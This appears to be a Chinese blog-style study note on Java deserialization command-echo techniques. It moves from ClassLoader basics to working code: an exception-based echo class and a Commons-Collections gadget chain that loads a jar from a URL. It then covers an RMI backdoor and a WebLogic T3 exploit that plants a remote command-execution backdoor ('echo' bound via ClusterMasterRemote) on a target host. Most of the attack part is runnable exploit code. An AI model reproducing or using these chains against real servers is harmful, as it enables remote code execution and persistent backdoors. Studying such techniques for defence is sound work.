在很多不出网的情况下,一种是写webshell(内存嘛),另一种就是回显,本文先学习回显,回显的主要方式有一下几种。
前面有多多少了解过ClassLoader本篇花费一节仔细学习一下
classloader顾名思义,即是类加载。虚拟机把描述类的数据从class字节码文件加载到内存,并对数据进行检验、转换解析和初始化,最终形成可以被虚拟机直接使用的Java类型,这就是虚拟机的类加载机
主要是三个阶段
第一个阶段是加载,把.class文件加载到内存,并为它创建一个java.lang.Class对象
第二个阶段是连接,连接包括三阶段
验证:确保加载的类信息符合JVM规范,无安全方面的问题。
准备:为类的静态Field分配内存,并设置初始值,变量的初始值,如:int=0。
解析:将类的二进制数据中的符号引用替换成直接引用。
第三阶段是初始化
1、优先对该类的父类进行初始化,然后对static修饰的变量和代码块进行初始化
当一个类加载的过程中,它首先不会去加载,而是委托给自己的父类去加载,父类又委托给自己的父类。因此所有的类加载都会委托给顶层的父类,即Bootstrap Classloader进行加载,然后父类自己无法完成这个加载请求,子加载器才会尝试自己去加载
1.启动类加载器(Bootstrap Classloader)负责将
2.扩展类加载器(Extention Classloader)负责加载JVM扩展类,比如swing系列、内置的js引擎、xml解析器等,这些类库以javax开头,它们的jar包位于
3.应用程序加载器(Application Classloader)也叫系统类加载器,它负责加载用户路径(ClassPath)上所指定的类库。我们自己编写的代码以及使用的第三方的jar包都是由它来加载的
4.自定义加载器(Custom Classloader)通常是我们为了某些特殊目的实现的自定义加载器
1.loadClass(String className),根据名字加载一个类。
2.defineClass(String name, byte[] b, int off, int len),将一个字节流定义为一个类。
3.findClass(String name),查找一个类。
4.findLoadedClass(String name),在已加载的类中,查找一个类。
当加载一个类时,会首先从已经加载的类里面去查找这个类。如果类未加载,且如果父加载器不为空,则调用父加载器的loadClass方法进行加载,如果父加载器为空,则调用BootStrap class loader加载。如果依然没有加载到类,则调用findClass方法。而findClass方法是需要子类重写的。所以我们只需要继承classLoader重写findClass方法就可以实现自定义ClassLoader
1、继承classLoader
2、重写findClass()方法
3、在findClass()中调用defineClass
编写测试类
package com.akkacloud.demo;
import java.io.*;
import java.util.Arrays;
public class test {
public void testclassloder() {
System.out.println("test classloader");
}
}
编译成class文件
编写自己的classLoder
package com.akkacloud.demo;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class myClassloader extends ClassLoader{
private static String ClassName = "com.akkacloud.demo.test";
//获取class文件,转换成byte
private static byte[] getbyte() throws IOException {
InputStream is = new FileInputStream(new File("/Users/akka/Downloads/deserialzeEcho/src/main/java/com/akkacloud/demo/test.class"));
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
byte[] bytes = new byte[1024];
int temp;
while ((temp = is.read(bytes)) != -1) {
outputStream.write(bytes, 0, temp);
}
//转换后的byte[]
byte[] finalBytes = outputStream.toByteArray();
return finalBytes;
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
//如果类名为我们定的类
if(name==ClassName){
try {
//从字节中获取一个类
return defineClass(ClassName, getbyte(),0,getbyte().length);
} catch (IOException e) {
e.printStackTrace();
}
}
return super.findClass(name);
}
public static void main(String[] args) throws ClassNotFoundException {
//新建自定义的类加载器
myClassloader myClassloader = new myClassloader();
Class<?> aClass = myClassloader.loadClass(ClassName);
try {
//反射调用类的方法
Object o = aClass.newInstance();
Method declaredMethod = aClass.getMethod("testclassloder", null);
declaredMethod.invoke(o, null);
} catch (InstantiationException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
}
}
}
首先新建恶意异常回显类,并且编译成class文件
package com.akkacloud.demo;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Echo {
public Echo(String cmd) throws Exception {
ProcessBuilder processBuilder = new ProcessBuilder(new String[]{cmd});
Process start = processBuilder.start();
InputStream inputStream = start.getInputStream();
InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
StringBuffer stringBuffer = new StringBuffer();
String line =null;
while ((line = bufferedReader.readLine()) != null) {
stringBuffer.append(line).append("\n");
}
throw new Exception(stringBuffer.toString());
}
}
新建自己的classLoder
package com.akkacloud.demo;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class myClassloader extends ClassLoader{
private static String ClassName = "com.akkacloud.demo.Echo";
//获取class文件,转换成byte
private static byte[] getbyte() throws IOException {
InputStream is = new FileInputStream(new File("/Users/akka/Downloads/deserialzeEcho/src/main/java/com/akkacloud/demo/Echo.class"));
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
byte[] bytes = new byte[1024];
int temp;
while ((temp = is.read(bytes)) != -1) {
outputStream.write(bytes, 0, temp);
}
//转换后的byte[]
byte[] finalBytes = outputStream.toByteArray();
return finalBytes;
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
//如果类名为我们定的类
if(name==ClassName){
try {
//从字节中获取一个类
return defineClass(ClassName, getbyte(),0,getbyte().length);
} catch (IOException e) {
e.printStackTrace();
}
}
return super.findClass(name);
}
public static void main(String[] args) {
//新建自定义的类加载器
myClassloader myClassloader = new myClassloader();
//反射调用类的方法
try {
Class<?> aClass = myClassloader.loadClass(ClassName);
Object o = aClass.getConstructor(String.class).newInstance("id");
} catch (InstantiationException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
}
通过将回显结果封装到异常信息抛出拿到回显。
异常回显类
package com.akkacloud.demo;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Echo {
public Echo(String cmd) throws Exception {
ProcessBuilder processBuilder = new ProcessBuilder(new String[]{cmd});
Process start = processBuilder.start();
InputStream inputStream = start.getInputStream();
InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
StringBuffer stringBuffer = new StringBuffer();
String line =null;
while ((line = bufferedReader.readLine()) != null) {
stringBuffer.append(line).append("\n");
}
throw new Exception(stringBuffer.toString());
}
}
打jar包
javac Echo.java
jar -cvf Echo.jar Echo.class
使用URLClassLoader加载jar获得回显
package com.akkacloud.demo;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class myURLClassLoader {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
URL url = new URL("http://localhost:8000/Echo.jar");
URL[] urls = {url};
URLClassLoader urlClassLoader = URLClassLoader.newInstance(urls);
Object o = urlClassLoader.loadClass("com.akkacloud.demo.Echo").getConstructor(String.class).newInstance("id");
}
}
把上面的代码换成反射执行先
package com.akkacloud.demo;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.HashMap;
public class myURLClassLoader {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
/* URL url = new URL("http://localhost:8000/Echo.jar");
URL[] urls = {url};
URL[] urls= new URL[]{ new URL("http://localhost:8000/Echo.jar")};
*/
/*
URLClassLoader urlClassLoader = URLClassLoader.newInstance(new URL[]{ new URL("http://localhost:8000/Echo.jar")});
Object o = urlClassLoader.loadClass("com.akkacloud.demo.Echo").getConstructor(String.class).newInstance("id");
*/
Method getConstructorMethod = URLClassLoader.class.getClass().getMethod("getConstructor", new Class[]{Class[].class});
//new Object[]{}是invoke的参数类型要求,new Class[]{}是getConstructor的参数类型,URL[].class是具体调用newInstance需要传入url数组
Object getConstructor = getConstructorMethod.invoke(URLClassLoader.class, new Object[]{new Class[]{URL[].class}});
System.out.println(getConstructor);
Method newInstanceMethod = getConstructor.getClass().getMethod("newInstance", new Class[]{Object[].class});
URLClassLoader urlClassLoader = (URLClassLoader) newInstanceMethod.invoke(getConstructor, new Object[]{new Object[]{new URL[]{new URL("http://127.0.0.1:8000/ProcessExec.jar")}}});
System.out.println(urlClassLoader);
Class aClass = urlClassLoader.getClass();
Method loadClassMethod = aClass.getMethod("loadClass", new Class[]{String.class});
Object Echo = loadClassMethod.invoke(urlClassLoader, new Object[]{"com.akkacloud.demo.Echo"});
System.out.println(Echo);
Method getEchoConstructor = Echo.getClass().getMethod("getConstructor", new Class[]{Class[].class});
Object EchoConstrutor = getEchoConstructor.invoke(Echo, new Object[]{new Class[]{String.class}});
System.out.println(EchoConstrutor);
Method EchonewInstance = EchoConstrutor.getClass().getMethod("newInstance", new Class[]{Object[].class});
EchonewInstance.invoke(EchoConstrutor, new Object[]{new String[]{"id"}});
}
}
改造cc
package com.akkacloud.demo;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.HashMap;
public class myURLClassLoader {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(URLClassLoader.class),
new InvokerTransformer("getConstructor",
new Class[]{Class[].class},
new Object[]{new Class[]{URL[].class}}),
new InvokerTransformer("newInstance",
new Class[]{Object[].class},
new Object[]{new Object[]{new URL[]{new URL("http://127.0.0.1:8000/Echo.jar")}}}),
new InvokerTransformer("loadClass",
new Class[]{String.class},
new Object[]{"com.akkacloud.demo.Echo"}),
new InvokerTransformer("getConstructor",
new Class[]{Class[].class},
new Object[]{new Class[]{String.class}}),
new InvokerTransformer("newInstance",
new Class[]{Object[].class},
new Object[]{new String[]{"id"}})
});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
outputStream.writeObject(poc);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
1、编写接口类
package com.akkacloud.rmi;
import java.io.IOException;
import java.rmi.Remote;
public interface Echo extends Remote {
public String Echo(String cmd) throws IOException;
}
2、编写接口实现类,重写Echo方法,传入恶意代码
package com.akkacloud.rmi;
import java.io.IOException;
import java.io.InputStream;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.Scanner;
public class EchoImpl extends UnicastRemoteObject implements Echo {
protected EchoImpl() throws RemoteException {
super();
}
@Override
public String Echo(String cmd) throws IOException {
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
String s = scanner.hasNext() ? scanner.next() : "";
System.out.println("123");
return s;
}
}
3、编写Rmi服务端
package com.akkacloud.rmi;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RmiServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
EchoImpl echo = new EchoImpl();
System.out.println(echo);
Registry registry = LocateRegistry.createRegistry(1234);
registry.bind("Echo",echo );
System.out.println("rmiserver is running");
}
}
4、编写客户端
package com.akkacloud.rmi;
import java.io.IOException;
import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RmiClient {
public static void main(String[] args) throws IOException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("localhost", 1234);
Echo echo = (Echo)registry.lookup("Echo");
System.out.println(echo);
System.out.println(echo.Echo("id"));
}
}
服务端总体流程
1、编写接口继承Remote
2、编写接口的Echo方法抛出java.rmi.RemoteException 异常
3、编写接口实现类EchoImpl,
4、重写Echo方法
5、新建接口实现类并且绑定在注册中心
客户端总体流程
1、查找注册中心的对应方法
2、调用该方法
这里大佬在有个思路,通过common-collection反序列化调用ClassLoader,通过字节码来自定义一个RMI接口类,在类实现的方法中返回命令执行的结果,其实就是打入一个rmi的后门,然后进行调用该后门进行执行命令,并且回显。但是还有几个问题
defineClass需要ClassLoader的子类才能拿到
定义了defineClass
org.mozilla.classfile.DefiningClassLoader#defineClass
具体应该实现哪个RMI接口类呢?
返回为String类型且继承了Remote并且抛出java.rmi.RemoteException
common-collection构造的问题
// common-collection1 构造transformers 定义自己的RMI接口
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(DefiningClassLoader.class),
new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
new InvokerTransformer("defineClass",
new Class[]{String.class, byte[].class}, new Object[]{className, clsData}),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new ConstantTransformer(new HashSet())};
idea导入weblogic的包,modules和wlserver_10.3/server下的lib包。然后导入https://github.com/5up3rc/weblogic_cmd该项目。
首先先写回显类既Remote实现类
package com.supeream;
import weblogic.cluster.singleton.ClusterMasterRemote;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.rmi.RemoteException;
import java.util.ArrayList;
import java.util.List;
public class RemoteImpl implements ClusterMasterRemote {
public static void main(String[] args) {
RemoteImpl remote = new RemoteImpl();
try {
Context context = new InitialContext();
context.rebind("echo",remote);
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void setServerLocation(String cmd, String args) throws RemoteException {
}
@Override
public String getServerLocation(String cmd) throws RemoteException {
try {
if (cmd.equals("unbind")) {
Context ctx = new InitialContext();
ctx.unbind("echo");
return null;
} else{
String name = System.getProperty("os.name");
String[] cmds = name != null && name.toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
byte[] buf = new byte[1024];
int len = 0;
ByteArrayOutputStream out = new ByteArrayOutputStream();
while ((len = in.read(buf)) != -1) {
out.write(buf, 0, len);
}
return new String(out.toByteArray());
}
} catch (Exception e) {
return e.getMessage();
}
}
}
工具类
package com.supeream;
import java.io.*;
import java.util.Arrays;
public class Tobyte {
public static byte[] getbyte(String path) throws IOException {
InputStream in = new FileInputStream(path);
byte[] classBytes;
classBytes = new byte[in.available()];
in.read(classBytes);
in.close();
return classBytes;
}
public static void main(String[] args) throws IOException {
byte[] getbyte = Tobyte.getbyte("/Users/akka/Desktop/RemoteImpl.class");
System.out.println(Arrays.toString(getbyte));
}
}
rmi客户端类

public class test {
private static String host = "172.20.10.4";
private static String port = "7001";
private static final String classname = "com.supeream.RemoteImpl";
private static byte[] bs ;
public static void main(String[] args) {
try {
String url = "t3://" + host + ":" + port;
// 安装RMI实例
bs=Tobyte.getbyte("/Users/akka/Desktop/RemoteImpl.class");
invokeRMI(classname, bs);
Environment environment = new Environment();
environment.setProviderUrl(url);
environment.setEnableServerAffinity(false);
environment.setSSLClientTrustManager(new WeblogicTrustManager());
Context context = environment.getInitialContext();
ClusterMasterRemote remote = (ClusterMasterRemote) context.lookup("echo");
// 调用RMI实例执行命令
String res = remote.getServerLocation("ipconfig");
System.out.println(res);
} catch (Exception e) {
e.printStackTrace();
}
}
private static void invokeRMI(String className, byte[] clsData) throws Exception {
// common-collection1 构造transformers 定义自己的RMI接口
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(DefiningClassLoader.class),
new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
new InvokerTransformer("defineClass",
new Class[]{String.class, byte[].class}, new Object[]{className, clsData}),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{null}}),
new ConstantTransformer(new HashSet())};
final Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
InvocationHandler handler = (InvocationHandler) Reflections
.getFirstCtor(
"sun.reflect.annotation.AnnotationInvocationHandler")
.newInstance(Override.class, lazyMap);
final Map mapProxy = Map.class
.cast(Proxy.newProxyInstance(SerialDataGenerator.class.getClassLoader(),
new Class[]{Map.class}, handler));
handler = (InvocationHandler) Reflections.getFirstCtor(
"sun.reflect.annotation.AnnotationInvocationHandler")
.newInstance(Override.class, mapProxy);
// 序列化数据 MarshalledObject绕过
Object obj = new MarshalledObject(handler);
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
objOut.flush();
objOut.close();
byte[] payload = out.toByteArray();
// t3发送
T3ProtocolOperation.send(host, port, payload);
}
}
如T3ProtocolOperation报错,需要修改两处
SocketFactory类
最后成功了
中间件回显我们另开篇章学习
